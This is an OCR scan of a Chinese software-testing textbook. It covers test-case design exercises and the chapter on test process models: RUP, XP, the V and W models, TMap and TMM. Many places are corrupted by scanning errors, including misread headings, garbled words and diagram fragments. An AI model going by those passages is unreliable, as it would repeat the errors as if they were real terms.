和 安全 性 测试 ,形式 化 方法 则 用 于 对 软件 系统 可 靠 性 有 很 高 要 求 的 应 用 领域 。 再 看 黑 盒 测 
试 方法 中 具体 的 方法 ,等 价 类 划分 方法 和 边界 值 方法 是 针对 单 因素 的 数据 输入 来 设计 测试 
用 例 , 而 判定 表 、 因 果 图 、 正 交 试验 法 等 是 解决 多 因素 组 合 问题 。 

在 实际 工作 中 ,应 根据 需要 ,将 不 同 的 方法 结合 起 来 运用 ,形成 综合 测试 策略 ,以 达到 更 
完美 的 测试 效果 。 测 试 的 基本 方法 可 以 看 作 是 由 静态 .动态 测 试 方法 和 白 盒 、 黑 盒 测 试 方法 
的 组 合 而 构成 的 ,如 表 3-18 所 示 ,满足 了 不 同 测试 阶段 的 要 求 。 


表 3-18 测试 方法 的 4 种 基本 组 合 


白 盒 测试 方法 黑 盒 测 试 方法 
静态 - 白 盒 测 试 方法 静态 - 黑 盒 测试 方法 
静态 测试 方法 | (对 源 程序 代码 的 语法 检查 ,扫描 , 评 | (对 需求 文档 、 需 求 规格 说 明 书 的 审查 活动 ， 
审 等 ) 一 些 非 技术 性 文档 测试 等 ) 
动态 - 白 盒 测试 方法 动态 - 黑 盒 测试 方法 
动态 测试 方法 | (在 单元 测试 中 ,一 边 运 行 代码 ,一 边 | (在 运行 程序 时 ,通过 数据 驱动 对 软件 进行 功 
对 结果 进行 检查 .验证 和 调试 等 能 测试 ,从 用 户 角 度 验证 软件 的 各 项 功能 ) 


1. 常用 的 白 盒 和 黑 盒 测试 用 例 设计 方法 有 哪些 ? 各 有 什么 优 缺 点 ? 

2. 在 白 盒 测试 方法 中 ,语句 覆盖 、 判 定 履 盖 、 条 件 覆 盖 和 路 径 履 盖 , 哪 一 种 覆盖 率 高 ? 
为 什么 ? 

3. 针对 国内 18 位 身份 证 号 码 验 证 ,通过 等 价 类 划分 法 设计 相应 的 测试 用 例 。 

4. 使 用 等 价 类 划分 法 设计 相应 的 测试 用 例 : 输入 为 三 个 整数 作为 边 ,分 别 满足 一 般 三 
角形 .等 腰 三 角形 和 等 边 三 角形 。 

5. 使 用 边界 值 方法 设计 b= ABS(a) 的 测试 用 例 。 


6. 根据 下 面 程序 流程 图 ,分 别 用 最 少 的 测试 用 例 完 成 语句 覆盖 、 判 定 覆 盖 、 条 件 覆 盖 和 
路 径 覆 盖 的 测试 设计 。 


X<-10 OR Y<O =| Y=-(Y+X) 


7. 使 用 白 盒 测试 用 例 设计 方法 为 下 面 的 程序 设计 测试 用 例 : 

。 程序 要 求 : 10 个 铅球 中 有 一 个 假球 ( 比 其 他 铅球 的 重量 要 轻 ) ,用 天 平 三 次 称 出 
假球 。 

。 程序 设计 思路 : 第 一 次 使 用 天 平分 别称 5 个 球 , 判 断 轻 的 一 边 有 假球 ; 拿 出 轻 的 5 
个 球 , 拿 出 其 中 4 个 称 ,两边 分 别 放 2 个 球 ; 如 果 两 边 同 重 , 则 剩 下 的 球 为 假球 ; 若 
两 边 不 同 重 , 拿 出 轻 的 两 个 球 称 第 三 次 , 轻 的 为 假球 。 

8. 结合 边界 值 分 析 法 和 等 价 类 划分 法 ,针对 不 同月 薪 需 要 缴纳 不 同 的 个 人 所 得 税 计算 

程序 ,来 设计 充分 的 测试 用 例 。 


应 纳税 所 得 额 ( 减 去 起 征 点 2000 元 后 的 结果 ) 税率 /% 
不 超过 500 元 5 
超过 500 元 至 2000 元 10 
超过 2000 元 至 5000 元 15 
超过 5000 元 至 20 000 元 20 
超过 20 000 元 至 40 000 元 25 
超过 40 000 元 至 60 000 元 30 
超过 60 000 元 至 80 000 元 35 
超过 80 000 元 至 100 000 元 40 
超过 100 000 元 45 


TE: 个 人 所 得 税 的 起 征 点 为 2000 元 。 


9. 年 月 日 分 别 以 YM 和 D 来 存储 相应 的 值 , 现 在 要 测试 NextDatal Y , M, D) KX, 
用 判定 表 方 法 来 设计 相应 的 测试 用 例 。 

10. 考虑 游戏 中 “ 城 门 ”对 象 , 具 有 打开 (Opened)、 关 闭 (Closed)、 上 锁 (Locked)、 解 锁 
(Unlocked)4 种 状态 ,采用 扩展 有 限 状态 机 来 描述 这 个 被 测试 的 对 象 。 


CHAPTER 4 
a 
第 4 章 


软件 测试 依据 和 规范 


标准 和 规范 是 成 熟 工 业 的 标志 。 在 手工 作坊 时 代 , 每 样 东西 都 是 
独一无二 的 ,即使 是 同一 类 产品 ,比较 相似 ,但 或 多 或 少 都 有 差异 。 而 
在 现代 工业 化 生产 中 ,机 器 配件 都 统一 规范 起 来 ,例如 显示 器 接口 、 
USB 接口 等 。 再 比如 ,家 中 某 个 电器 或 家 具 丢 了 个 螺丝 钉 ,在 街 上 很 容 
易 买 一 个 , 回 家 安 上 ,这 说 明 什么 ? 制造 业 的 标准 在 起 作用 。 家 用 电器 
是 依据 标准 制造 的 ,所 以 随 之 而 来 的 各 种 标准 配件 也 会 很 容易 找到 。 

标准 与 规范 大 都 是 行业 几 十 年 甚至 上 百年 的 经 验 与 技术 的 结晶 ， 
是 人 类 宝贵 的 财富 。 软 件 行业 也 一 样 ,而且 也 是 在 随 着 时 间 的 推移 不 
断 更 新 与 完善 。 

本 章 将 从 软件 过 程 模型 出 发 ,讨论 软件 测试 模型 .测试 成 熟 度 模 
型 相关 的 软件 测试 和 质量 标准 ,最 后 ,讨论 如 何 建立 测试 管理 与 评判 
体系 等 相关 内 容 。 


4.1 测试 过 程 模型 


随 着 计算 机 应 用 的 飞速 发 展 ,软件 的 复杂 程度 不 断 提高 , 源 代码 
的 规模 越 来 越 大 ,软件 开发 过 程 越 来 越 不 容易 被 控制 。 在 长 期 的 研究 
与 实践 中 ,人 们 越 来 越 深 刻 地 认识 到 ,建立 简明 准确 的 表示 模型 是 把 
握 复 杂 系 统 的 关键 。 为 了 更 好 地 理解 软件 开发 过 程 的 特性 ,跟踪 、 控 
制 和 改进 软件 产品 的 开发 过 程 , 就 必须 将 软件 开发 过 程 模型 化 。 

模型 是 对 事物 的 一 种 抽象 ,人 们 常常 在 正式 建造 实物 之 前 ,首先 
建立 一 个 简化 的 模型 ,以便 更 透彻 地 了 解 它 的 本 质 , 抓 住 问题 的 要 害 。 
在 模型 中 , 先 要 剔除 那些 与 问题 无 关 的 、 非 本 质 的 东西 ,从 而 使 模型 与 
真实 的 实体 相 比 更 加 简单 明了 、 易 于 把 握 。 总 的 来 说 ,使 用 模型 可 以 
使 人 们 从 全 局 上 把 握 系统 的 全 貌 及 其 相关 部 件 之 间 的 关系 ,可 以 防止 
人 们 过 早 地 陷入 各 个 模块 的 细节 。 


4.1.1 软件 过 程 模型 
谈 到 软件 过 程 模型 ,首先 就 会 想到 瀑布 模型 。 瀑 布 模型 是 最 经 典 


的 过 程 模型 ,是 认识 软件 过 程 的 切入 点 ,但 这 个 模型 和 现代 软件 实践 冲突 越 来 越 大 ,其 应 用 
受到 越 来 越 大 的 局 限 性 。 而 当今 ,人 们 越 来 越 关 注 原型 模型 .迭代 模型 .敏捷 过 程 模型 和 并 
发 模型 等 。 例 如 ,原型 模型 强调 需求 的 分 析 和 定义 ,使 开发 团队 能 够 借助 产品 原型 与 用 户 、 
产品 经 理 等 进行 沟通 ,交流 , 相 互 之 间 更 容易 理解 ,并 能 真正 挖掘 客户 的 真正 需求 ,开发 出 客 
户 满意 的 产品 。 原 型 模型 还 分 为 抛弃 型 和 非 抛 弃 型 ,前 者 所 开发 的 原型 会 被 抛弃 ,重新 构建 
产品 ; 而 后 者 是 在 原型 基础 上 进行 不 断 改进 来 完成 产品 的 构造 ,和 和 迭代 模型 比较 接近 。 

1. ARRE 

软件 开发 不 是 一 足 而 就 的 ,其 过 程 犹 如 雕琢 一 件 工 艺 品 , 由 无 形 到 有 形 、 由 粗 到 细 , 很 难 
一 次 就 能 开发 出 功能 完善 强大 的 一 个 版 本 ,而 往往 会 受到 很 大 的 市 场 压力 、 开 发 预算 或 成 
本 预算 的 限制 .软件 复杂 度 的 挑战 等 ,软件 产品 的 开发 不 得 不 采取 分 阶段 进行 ,逐步 完善 或 
深化 系统 的 功能 ,一 个 版 本 接 一 个 版 本 的 发 布 出 去 。 这 种 分 阶段 开发 的 方法 是 比较 普遍 的 ， 
一 般 会 采用 增 量 模型 和 迭代 模型 来 完成 。 

(1) 增 量 模型 描述 软件 产品 的 不 同 阶段 是 按 产 品 所 具有 的 功能 进行 划分 的 , 先 开发 主 
要 功能 或 用 户 最 需要 的 功能 ,然后 , 随 着 时 间 推 进 ,不 断 增加 新 的 辅助 功能 或 次 要 功能 ,如 
图 4-1 所 示 。 
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图 4-1 软件 分 阶段 增 量 模型 示意 图 


EC] 


(2) 迭代 模型 描述 软件 产品 的 不 同 阶段 是 按 产 品 深度 或 细 化 的 程度 来 划分 的 , 先 将 产 
品 的 整个 框架 都 建立 起 来 ,在 系统 的 初期 ,已 经 具有 用 户 所 需求 的 全 部 功能 。 然 后 , 随 着 时 
间 推 进 , 不 断 细 化 已 有 的 功能 或 完善 已 有 功能 ,这 个 过 程 好 像 是 一 个 迭代 的 过 程 , 如 图 4-2 
所 示 。 
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图 4-2 软件 分 阶段 迭代 模型 示意 图 


2. IBM 统一 过 程 

从 迭代 思想 延伸 ,就 有 了 统一 过 程 模型 和 敏捷 方法 。IBM 统一 过 程 (RUP) 是 以 用 例 驱 
动 (use case driven) ,以 体系 结构 为 中 心 (architecture-centric) 的 软件 开发 迭代 过 程 。RUP 
把 软件 的 生命 周期 划分 为 4 个 阶段 一 一 先 启 阶 段 ( 也 称 初始 阶段 )、 精 化 阶段 (或 称 细 化 阶 
段 ) .构建 阶段 (或 称 构造 阶段 ) 和 产品 化 阶段 (或 称 交 付 阶段 )。RUP 中 的 每 个 阶段 都 可 以 
进一步 分 解 为 迭代 。 随 着 时 间 的 推移 ,每 个 阶段 所 注重 的 焦点 在 不 断 发 生变 化 ,而 且 无 论 
是 整个 软件 阶段 还 是 每 个 子 阶段 ,都 是 通过 不 断 迭 代 来 完成 新 的 任务 ,从 而 形成 一 个 完 
整 的 循环 的 迭代 过 程 ,如 图 4-3 所 示 。 从 图 中 可 以 看 出 ,测试 也 是 贯穿 整个 软件 开发 的 生 
命 周 期 ,从 先 启 阶段 的 早期 就 介入 进去 ,直至 产品 化 阶段 结束 ,只 是 在 构建 阶段 的 工作 量 
相对 大 些 。 
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图 4-3 IBM 统一 过 程 的 简要 描述 
3. 敏捷 过 程 模型 


Al RUP 不 同 的 是 ,敏捷 过 程 模型 (如 eXtreme Programming, Scrum 等 ) 弱 化 针对 未 来 
需求 的 设计 而 注重 当前 系统 的 简化 ,依赖 重 构 来 适应 需求 的 变化 ; 而 且 从 用 例 开 始 , 强 调 与 
用 户 的 实时 沟通 .用 户 的 参与 ,树立 测试 驱动 开发 理念 .增强 测试 实施 的 力度 ,建立 一 个 拥抱 
需求 变化 .灵活 的 软件 过 程 。 极 限 编 程 (XP) 是 敏捷 方法 的 代表 之 一 ,强调 软件 发 布 版 本 小 、 
周期 短 、 速 度 快 ,其 核心 是 迭代 ,通过 一 次 次 的 迭代 使 产品 不 断 完善 ,同时 用 户 能 及 时 得 到 他 
们 想 要 的 功能 。 另 一 方面 ,软件 开发 组 织 可 以 及 时 获得 用 户 的 反馈 、 调 整 产 品 功能 特性 的 定 
义 来 适应 用 户 不 断 变化 的 需求 ,而 不 至 于 造成 在 某 个 时 刻 的 大 规模 返工 损失 惨重 。XP 
所 呈现 的 软件 过 程 ,如 图 4-4 所 示 。 

从 XP 过 程 来 看 ,测试 从 一 开始 就 介入 , 当 拿 到 用 例 (use case) 时 ,测试 人 员 就 要 将 用 例 
转换 为 测试 场景 (test scenario) ,设计 相应 的 验收 测试 用 例 , 保 证 各 个 小 版 本 的 产品 质量 可 
以 满足 用 户 需求 。 无 论 是 从 RUP 还 是 从 XP 看 ,测试 是 贯穿 整个 软件 开发 生命 周期 的 。 
4.1.2 小 节 将 通过 V 模型 来 诠释 这 一 理念 。 


4.1.2 用 V 模型 诠释 软件 测试 过 程 


软件 测试 模型 与 软件 测试 标准 的 研究 也 随 着 软件 工程 的 发 展 而 越 来 越 深入 ,在 20 世纪 
80 年 代 后 期 Paul Rook 提出 了 著名 的 软件 测试 的 V 模型 , 旨 在 改进 软件 开发 的 效率 和 效 
果 。V 模型 也 称快 速 应 用 开发 (Rap Application Development. RAD) 模 型 , 即 RAD 模型 。 


测试 场景 


新 用 户 案例 
用 户 案例 a 
用 户 


ER 
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试探 下 一 次 反复 
图 4-4 极限 编程 生命 周期 
从 这 个 V 模型 出 发 ,通过 扩展 可 以 获得 有 关 软 件 测试 的 更 多 信息 。 在 进行 需求 分 析 和 定 


义 、 系 统 设计 ,详细 功能 设计 等 过 程 中 ,测试 团队 要 进行 测试 需求 定义 、 测 试 计划 等 活动 。 除 
此 之 外 ,测试 团队 还 有 更 多 的 工作 要 做 ,充分 体现 全 过 程 的 软件 测试 ,如 图 4-5 所 示 。 
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图 4-5 V 模型 彰显 全 过 程 测试 的 内 涵 


(1) 当 开 发 人 员 进 行 需求 分 析 和 定义 时 ,测试 人 员 不 仅 参 与 需求 分 析 、 对 需求 定义 进行 
评审 ,了 解 产品 的 设计 特性 、 用 户 的 真正 需求 ,及 时 找 出 需求 定义 中 的 问题 ,而 且 可 以 根据 需 
求 定义 文档 ,准备 验收 测试 计划 ,设计 验收 测试 用 例 ,为 将 来 验收 测试 做 好 准备 。 虽 然 验收 
测试 是 在 较 后 的 阶段 执行 ,但 它 的 计划 和 设计 工作 却 是 最 早 的 。 

(2) 当 架 构 师 或 其 他 开发 人 员 在 做 系统 设计 时 ,测试 人 员 不 仅 了 解 系统 是 如 何 实现 的 ， 
了 解 系统 设计 中 有 没有 充分 考虑 系统 的 非 功 能 特性 (人 性能、 安全 性、 容错 性 等 ), 和 开发 人 员 
讨论 如 何 验证 系统 的 非 功能 特性 。 测 试 人 员 还 对 系统 设计 结果 进行 评审 ,及 时 发 现 系统 设 
计 的 问题 ,包括 所 设计 的 非 功能 特性 (性 能 、 安 全 性 ,兼容 性 等 ) 是 否 具 有 可 测 性 ,而 且 要 准备 
相应 的 系统 测试 计划 ,设计 相应 的 系统 测试 用 例 ,同时 根据 系统 所 设计 的 平台 和 架构 ,开始 
准备 系统 的 测试 环境 ,包括 硬件 和 第 三 方 软件 的 采购 。 实 际 上 ,这 些 准备 工作 也 需要 较 长 的 


时 间 。 
(3) 在 进行 详细 设计 时 ,测试 人 员 不 仅 和 产品 、 开 发 等 各 个 方面 的 人 员 讨 论 , 完 成 设计 
规格 说 明 书 的 评审 ,及 时 发 现 详细 功能 设计 的 问题 ,而 且 可 以 设计 相应 的 功能 测试 用 例 。 
(4) 一 面 编程 ,一 面 进行 单元 测试 ,是 一 种 很 有 效 的 办 法 ,可 以 尽快 找 出 程序 中 的 错误 。 
充分 的 单元 测试 可 以 大 幅度 提高 程序 质量 ,减少 成 本 。 


4.1.3 W 模型 


Evolutif 公司 针对 V 模型 的 缺陷 ,相对 于 V 模型 ,提出 了 W 模型 的 概念 , W 模型 增加 
了 软件 各 开发 阶段 中 应 同步 进行 的 验证 和 确认 活动 。 如 图 4-6 所 示 ,W 模型 由 两 个 V 字 型 
模型 组 成 ,分 别 代 表 测 试 与 开发 过 程 ,图 中 明确 表示 出 了 测试 与 开发 的 并 行 关 系 , 测 试 伴随 
着 整个 软件 开发 周期 ,而 且 测 试 的 对 象 不 仅仅 是 程序 ,还 包括 需求 定义 文档 、 设 计 文 档 等 ， 
这 和 上 面 所 扩展 的 V 模 型 有 相同 的 内 涵 。 例 如 ,需求 分 析 完 成 后 ,测试 人 员 就 应 该 参与 
到 对 需求 的 验证 和 确认 活动 中 ,以 尽早 地 找 出 缺陷 所 在 。 同 时 ,对 需求 的 测试 也 有 利于 
及 时 了 解 项 目 难度 和 测试 风险 ,及早 制定 应 对 措施 ,这 将 显著 减少 总 体 测试 时 间 ,加快 项 
目 进度 。 
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图 4-6 测试 过 程 和 开发 过 程 的 同步 关系 


从 图 4-6 可 以 看 出 ,软件 分 析 、 设 计 和 实现 的 过 程 ,同时 伴随 着 软件 测试 一 一 验证 和 确 
认 的 过 程 ,而 且 包 括 软件 测试 目标 设 定 ,测试 计划 和 用 例 设 计 、 测 试 环境 建立 等 一 系列 测试 
活动 的 过 程 。 也 就 是 说 ,项 目 一 启动 ,软件 测试 的 工作 也 就 启动 了 ,避免 了 瀑布 模型 所 带 来 
的 误区 一 一 软件 测试 是 在 代码 完成 之 后 进行 的 。 测 试 过 程 和 开发 过 程 贯穿 软件 过 程 的 整个 
生命 周期 ,它们 是 相辅相成 、 相 互 依赖 的 关系 ,概括 起 来 有 3 个 关键 点 : 

(1) 测试 过 程 和 开发 过 程 是 同时 开始 的 ,同时 结束 的 ,两 者 保持 同步 的 关系 。 

(2) 测试 过 程 是 对 开发 过 程 中 阶段 性 成 果 和 最 终 的 产品 进行 验证 的 过 程 ,所 以 两 者 相 
互 依赖 。 前 期 ,测试 过 程 更 多 地 依赖 于 开发 过 程 ,后 期 ,开发 过 程 更 多 地 依赖 于 测试 过 程 。 

(3) 测试 过 程 中 的 工作 重点 和 开发 工作 的 重点 ,可 能 是 不 一 样 的 ,两 者 有 各 自 的 特点 。 
不 论 在 资源 管理 ,还 是 在 风险 管理 ,两 者 都 存在 着 差异 。 


4.1.4 TMap 


TMap (Test Management Approach, ,测试 管理 方法 ) 是 一 种 结构 化 的 .基于 风险 策略 
的 测试 方法 体系 (http://eng. tmap. net/Home/) ,目的 是 能 更 早 地 发 现 缺 陷 , 以 最 小 的 成 
本 、 有 效 地 、 彻 底 地 完成 测试 任务 ,以 减少 软件 发 布 后 的 支持 成 本 。TMap 所 定义 的 测试 生 
命 周 期 由 计划 和 控制 ,准备 ,说 明 ,执行 和 完成 等 阶段 组 成 ,如 图 4-7 所 示 。 这 个 过 程 目前 也 
被 ISTQB(International Software Testing Qualification Board ,国际 软件 测试 资质 认证 委员 
会 ) 所 采用 ,成 为 测试 过 程 的 标准 。 
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Planning & Control( 计 划 和 控制 )， 包 括 
评审 和 研究 、 开 发 测试 策略 (风险 分 析 、 
测试 估算 等 )、 建 立 测试 组 织 、 准 备 计 

划 、 管 理 和 控制 等 


图 4-7 TMap 描述 的 生命 周期 模型 


A) 计划 和 控制 阶段 涉及 测试 计划 的 创建 ,定义 了 执行 测试 活动 的 "who, what, when, 
where and how”。 在 测试 过 程 中 ,通过 定期 和 临时 的 报告 ,客户 可 以 经 常 收 到 关于 产品 质量 
和 风险 的 更 新 。 

(2) 准备 阶段 决定 软件 说 明 书 质量 是 否 足 以 实现 说 明 书 和 测试 执行 的 成 功 。 

(3) 说 明 阶 段 涉及 定义 测试 用 例 和 构建 基础 设施 。 一 旦 测试 目标 确定 ,测试 执行 阶段 
就 开始 。 

(4) 执行 阶段 ,需要 分 析 预 计 结果 和 实际 结果 的 区 别 , 发 现 缺 陷 并 报告 缺陷 。 

(5) 完成 阶段 包括 对 测试 资料 的 维护 以 便于 再 利用 ,创建 一 个 最 终 的 报告 以 及 为 了 更 
好 地 控制 将 来 的 测试 过 程 对 测试 过 程 进行 评估 。 

TMap 提供 了 一 个 完整 的 ,一 致 的 .灵活 的 方法 ,可 以 根据 特定 环境 创建 量 身 定制 的 测 
试 方法 ,以 及 在 不 同 的 特定 环境 中 可 以 采用 的 通用 方法 ,从 而 适合 于 各 种 行业 以 及 各 种 规模 
的 组 织 。 

TMap 通过 下 列 4 项 基石 (corner stone) 构 成 其 T 
方法 体系 ,如 图 4-8 所 示 。 

(1) 与 软件 开发 生命 周期 一 致 的 测试 活动 生命 
周期 (L) , 它 描述 了 在 测试 过 程 的 某 些 特殊 阶段 需要 L 
实施 的 活动 。 

(2) 坚实 的 组 织 融合 (O) , 它 强 调 测试 小 组 必须 
融入 到 项 目 组 织 中 ,而 且 每 个 测试 成 员 都 必须 被 分 ”图 4-8 TMap 测试 方法 体系 的 基石 
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配 任务 和 承担 责任 。 

(3) 正确 的 基础 设施 和 工具 (了 , 它 说 明 为 了 获得 最 优化 的 结果 ,需要 适当 的 基础 设施 
和 工具 。 其中,“ 测试 环境 ”必须 是 稳定 、 可 控制 和 有 代表 性 的 ,有 必要 通过 工具 的 使 用 提高 
测试 的 有 效 性 。 

(4) 可 用 的 技术 (T) ,是 指 支 持 测试 过 程 的 技术 ,这 些 技 术 用 于 定义 基于 风险 的 测试 策 
略 , 支 持 有 计划 的 测试 过 程 , 研 究 和 审查 测试 基准 ,详细 说 明 测试 用 例 以 及 如 何 提交 报告 。 
技术 可 以 促进 实施 结构 化 的 .可 重复 的 测试 执行 活动 。 

为 了 实现 一 个 结构 化 良好 的 测试 过 程 ,各 个 基石 应 该 达到 一 个 平衡 。 生 命 周 期 基石 是 
其 他 的 中 心 一 一 生命 周期 的 每 个 阶段 都 要 求 有 特定 的 组 织 、 基 础 设施 和 技术 的 支持 。 测 试 
不 仅仅 是 计算 机 屏幕 后 的 测试 用 例 执行 。 在 真正 的 测试 执行 之 前 ,在 过 程 早 期 阶段 的 计划 
和 准备 活动 都 是 必须 的 。 这 使 得 项 目 关键 路 径 上 的 测试 过 程 尽 可 能 的 短 。TMap 方法 体系 
就 是 基于 上 述 思想 建立 起 来 的 ,其 详细 内 容 见 表 4-1. 


表 4-1 TMap 方法 模型 基本 内 容 


序 号 阶段 /类 别 活动 
1 完成 任务 安排 (assignment formulation) 
2 全 局 的 评审 和 研究 
3 建立 测试 基线 (base) 
4 确定 测试 策略 
5 计划 建立 测试 组 织 
6 明确 说 明 需 提交 的 测试 结果 
7 明确 说 明 测试 基础 设施 (test infrastructure) 
8 组 织 管理 和 控制 
9 建立 进度 表 
10 合并 测试 计划 
11 维护 测试 计划 
12 控制 测试 过 程 
13 =n 报告 
~ u | 建立 详细 的 测试 进度 表 
15 测试 基线 的 可 测试 性 评审 
16 定义 测试 单元 (test units) 
17 ma 指定 测试 规格 说 明 书 (test specification) MRA 
18 明确 说 明 测试 的 基础 设施 
19 准备 测试 规格 说 明 书 
20 定义 初始 的 测试 数据 库 
21 说 明 开发 测试 脚本 
22 设计 测试 场景 (test scenario) 
23 测试 日 标 和 基础 设施 的 评审 说 明 
24 构建 测试 基础 设施 
25 测试 目标 和 基础 设施 的 评审 
26 执行 建立 初始 的 测试 数据 库 
27 执行 测试 
28 比较 和 分 析 测 试 结果 
29 完成 解散 测试 团队 


TMap 为 实现 有 效 的 和 高 效 的 测试 过 程 提供 了 一 个 途径 ,使 得 软件 组 织 可 以 实现 关键 
的 商业 目标 。 
。 有 效 是 因为 能 发 现 与 产品 风险 直接 相关 的 重要 缺陷 。 
。 高 效 是 因为 TMap 是 一 个 普遍 适用 的 方法 , 它 强调 重用 并 采用 基于 风险 的 策略 。 这 
样 的 策略 使 得 人 们 需要 做 出 明智 的 决定 : 测试 什么 和 如 何 彻底 测试 它们 而 不 是 测 
试 所 有 内 容 。 
在 TMap 的 基础 上 ,还 开发 了 一 些 其 他 的 方法 。 所 有 这 些 方法 都 可 以 单独 使 用 或 综合 
起 来 使 用 。 例 如 : 
。 TPI(Test Process Improvement, 测 试 过 程 改进 ) ,一 个 逐步 完善 测试 过 程 的 模型 。 
。 TAKT(Test Automation Knowledge and Tools, ,测试 自动 化 知识 和 工具 ) 。 
。 Tsite, 为 如 何在 一 个 永久 的 测试 组 织 中 实施 测试 过 程 建立 了 有 效 的 框架 。 
。TEmb, 应 用 了 TMap 中 定义 的 结构 化 测试 的 4 个 要 素 ,建立 一 种 对 嵌入 式 软件 进行 
结构 化 测试 的 方法 。 


4.2 测试 过 程 改 进 模型 


随 着 软件 产业 界 对 软件 过 程 的 不 断 研究 ,美国 工业 界 和 政府 部 门 开 始 认识 到 ,软件 过 程 
能 力 的 不 断 改进 才 是 增强 软件 组 织 的 开发 能 力 和 提高 软件 质量 的 第 一 要 素 。 在 这 种 背景 
下 ,由 美国 卡 内 基 - 梅 隆 大 学 软件 工程 研究 所 (SED) 研 制 并 推出 了 软件 能 力 成 熟 度 模型 
(Software-Capacity Maturity Model, SW-CMM) ,CMM 逐渐 成 为 了 评估 软件 开发 过 程 的 管 
理 以 及 工程 能 力 的 标准 。 现 在 ,形成 了 以 个 体 软件 过 程 (Personal Software Process,PSP)、 
团队 软件 过 程 (Team Software Process, TSP) .过 程 成 熟 度 集成 模型 CMMI 等 为 主导 的 软 
件 开发 过 程 改进 体系 。 

但 是 ,CMMI 没有 提 及 软件 测试 成 熟 度 的 概念 ,没有 充分 讨论 如 何 改进 测试 过 程 , 所 
以 ,许多 研究 机 构 和 测试 服务 机 构 从 不 同 角度 出 发 提出 有 关 软 件 测试 方面 的 能 力 成 熟 度 模 
型 ,作为 对 SEI-CMMI 的 有 效 补充 ,比较 有 代表 性 的 成 功 有 : 

。 美国 国防 部 提出 一 个 CMM 软件 评估 和 测试 KPA(Key Process Area, 关 键 过 程 域 ) 

建议 ; 

。 Gelper 博士 提出 一 个 测试 支持 模型 (Test Support Model, TSM) ,以 评估 测试 小 组 
所 处 环境 对 测试 工作 的 支持 程度 ; 
Burgess/Drabick I. T. I 公司 提出 的 测试 能 力 成 熟 度 模型 (Testing Capability 
Maturity Model,TCMM) 则 提供 了 与 CMM 完全 一 样 的 5 级 模型 ; 
。 Burnstein 博士 提出 了 测试 成 熟 度 模型 (TMM) ,依据 CMM 的 框架 提出 测试 的 5 个 

不 同 级 别 ,关注 于 测试 的 成 熟 度 模型 。 

下 面 首先 讨论 TMM ,然后 讨论 其 他 测试 过 程 改 进 模型 ,如 TPI 等 。 


4.2.1 TMM 


过 程 能 力 描述 了 遵循 一 个 软件 测试 过 程 可 能 达到 的 预期 结果 的 范围 。 了 解 过 程 能 力 对 
于 预测 产品 质量 是 十 分 关键 的 。 组 织 的 过 程 能 力 为 组 织 承 担 新 项 目 时 能 否 达到 期 望 结果 提 


供 了 预测 依据 。 一 个 稳定 的 、 可 预测 的 过 程 必须 具有 一 致 的 执行 ,而 当 一 个 过 程 不 稳定 时 ， 
通常 由 检查 过 程 一 致 性 开始 来 找 出 问题 的 根本 原因 。 经 验 表 明 , 过 程 一 致 性 检查 可 从 下 面 
三 个 方面 来 实施 : 

(1) 执行 过 程 的 适宜 性 检查 ,有 助 于 识别 合适 的 行动 ,来 纠正 那 种 由 于 缺乏 适合 性 而 导 
致 过 程 不 稳定 或 不 能 满足 客户 需求 的 情况 。 

(2) 已 定义 过 程 的 应 用 度量 。 过 程 稳定 性 依赖 于 对 已 定义 过 程 一 致 的 执行 。 通 过 度量 
已 定义 过 程 的 利用 程度 ,能够 确定 已 定义 过 程 何 时 没有 得 到 切实 的 执行 ,以 及 可 能 的 偏差 原 
因 , 从 而 采取 合适 的 行动 。 

(3) 过 程 评审 和 纠正 。 如 果 放 任 不 管 , 过 程 会 偏离 受 控 状 态 而 进入 混乱 状态 。 可 以 通 
过 定期 过 程 状 态 评审 、 正 式 的 过 程 评 估 和 项 目 校准 来 维护 过 程 。 

测试 是 软件 开发 过 程 中 一 个 重要 组 成 部 分 ,并 为 高 质量 的 软件 产品 开发 提供 大 力 支持 。 
许多 组 织 都 没有 意识 到 测试 流程 的 全 部 潜力 ,因为 这 些 过 程 往往 不 成 熟 。 伊 利 诺 伊 州 技术 
研究 所 (Illinois Institute of Technology) A TMM 解决 了 这 个 问题 ,借助 这 个 测试 成 熟 度 模 
型 ,可 以 协助 评估 和 改善 其 软件 测试 流程 软件 组 织 。TMM 的 建立 ,得 益 于 以 下 3 点 : 

。 充分 吸收 CMM 的 精华 ; 

。 基于 历史 演化 的 测试 过 程 ; 

。 业界 的 最 佳 实践 。 

TMM 也 将 测试 过 程 成 熟 度 分 为 5 个 等 级 一 初始 级 .定义 级 、 集 成 .管理 & 度量 和 优 
化 ,如 图 4-9 和 表 4-2 所 示 。 每 一 个 等 级 都 包括 已 定义 的 过 程 域 ,组 织 在 升级 到 更 高 一 个 等 
级 之 前 ,需要 完全 满足 前 一 个 等 级 的 过 程 域 。 要 达到 特定 的 等 级 需要 实现 一 系列 的 预先 定 
义 好 的 成 熟 度 目标 和 附属 目标 。 这 些 目 标 根据 活动 ,任务 和 责任 等 进行 定义 ,并 依据 管理 
者 、 开 发 人 员 ,测试 人 员 和 客户 或 用 户 的 特殊 需求 来 进行 。TMM 由 两 个 主要 部 分 组 成 ， 


Is 分 o i 
! 。 测 试 过 程 的 数据 可 以 用 于 防止 错误 
| 。 注 意 力 集中 在 优化 已 建立 的 过 程 的 发 生 


1 
本 二 三 二 三 二 三 二 三 三 二 二 三 二 三 三 二 二 三 三 二 二 过 


| 4 管理 & 度 量 | 
1 。 测试 过 程 可 有 效 地 度量 、 管 理 ， 


3. 集成 
1 。 测 试 过 程 和 软件 开发 周期 集成 在 一 起 


|。 标准、 步骤 和 方法 的 文档 化 
[让 


组 织 已 设 定 测试 方针 和 目标 
引入 了 测试 计划 过 程 
具有 基本 的 测试 技术 和 方法 


eee 


L 
1 1. 初始 级 ! 
i 。 没 有 正式 的 文档 化 和 结构 化 | 
| 。 测 试 在 编码 后 执行 ， 与 调试 没有 区 别 | 
! 。 测 试 的 目的 被 理解 为 证 明 软件 正常 工作 | 


图 4-9 TMM 的 5 个 级 别 简要 描述 


(1) 5 个 级 别 的 一 系列 测试 能 力 成 熟 度 的 定义 
目标 活动 ,任务 和 职责 等 。 

(2) 一 套 评价 模型 ,包括 一 个 成 熟 度 问 卷 .评估 程序 和 团队 选拔 培训 指南 。 

TMMI 基础 (参见 www. tmmifoundation. org) 定义 了 TMM 的 接替 标准 TMMi。 
TMMi 是 基于 TMM 框架 延伸 的 .针对 测试 过 程 改进 更 细节 化 的 模型 。TMMI 是 由 伊利 诺 
